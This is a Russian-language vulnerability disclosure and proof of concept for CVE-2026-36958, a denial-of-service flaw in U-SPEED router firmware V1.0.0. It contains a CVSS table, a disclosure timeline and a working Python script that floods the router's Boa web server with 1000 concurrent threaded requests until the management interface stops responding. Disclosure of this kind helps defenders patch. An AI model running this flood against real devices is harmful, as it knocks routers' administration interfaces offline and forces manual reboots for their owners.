
Доказательство концепции для CVE-2026-36958 — уязвимости типа «отказ в обслуживании» в прошивке маршрутизатора U-SPEED, которая истощает ресурсы с помощью параллельных HTTP-запросов, приводя к тому, что веб-интерфейс перестаёт отвечать.
CVE ID: CVE-2026-36958 Дата: 2026-04-29 Обнаружил: Kirubel Solomne Производитель: U-SPEED Продукт: Маршрутизатор U-SPEED Версия прошивки: V1.0.0 CWE: CWE-400 — Неконтролируемое потребление ресурсов
Прошивка маршрутизатора U-SPEED V1.0.0 уязвима к отказу в обслуживании. Отправляя большое количество одновременных HTTP-запросов к случайным или несуществующим конечным точкам веб-интерфейса управления, злоумышленник может исчерпать системные ресурсы встроенного HTTP-сервера Boa. Это приводит к тому, что веб-интерфейс маршрутизатора перестаёт отвечать, и для восстановления нормальной работы может потребоваться ручная перезагрузка.
Оценка CVSS v3.1: 7.5 (Высокая)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
| Метрика | Значение |
|---|
| Вектор атаки | Сеть |
| Сложность атаки | Низкая |
| Требуемые привилегии | Отсутствуют |
| Взаимодействие с пользователем | Отсутствует |
| Влияние на конфиденциальность | Отсутствует |
| Влияние на целостность | Отсутствует |
| Влияние на доступность | Высокое |
import requests
import threading
TARGET = "http://192.168.10.1"
def flood(i):
try:
requests.get(f"{TARGET}/random_endpoint_{i}", timeout=2)
except:
pass
threads = []
for i in range(1000):
t = threading.Thread(target=flood, args=(i,))
threads.append(t)
t.start()
for t in threads:
t.join()
print("Done. Check if router web interface is still responsive.")
Ожидаемое поведение: Сервер должен корректно обрабатывать одновременные соединения. Фактическое поведение: Веб-интерфейс перестаёт отвечать; требуется ручная перезагрузка.
| Дата | Событие |
|---|---|
| 2026-04-29 | Уязвимость обнаружена |
| 2026-04-29 | Сообщено в MITRE |
| 2026-04-29 | Присвоен CVE-2026-36958 |
| 2026-04-29 | Публичное раскрытие |